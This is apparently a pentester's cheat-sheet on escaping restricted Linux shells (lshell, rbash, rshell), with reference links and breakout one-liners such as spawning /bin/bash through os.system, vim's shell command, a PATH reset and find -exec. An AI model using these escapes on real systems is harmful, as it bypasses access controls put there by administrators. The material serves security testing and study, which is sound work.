Restricted Shell

• https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf
• https://0xffsec.com/handbook/shells/restricted-shells/
• https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/

lshell

• https://www.aldeid.com/wiki/Lshell

• echo os.system('/bin/bash')
• vim
  • :set shell=/bin/bash
  • :shell

rbash

https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/

Get list of commands compgen -c

export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:$PATH

rshell

find / -name test -exec /bin/bash ;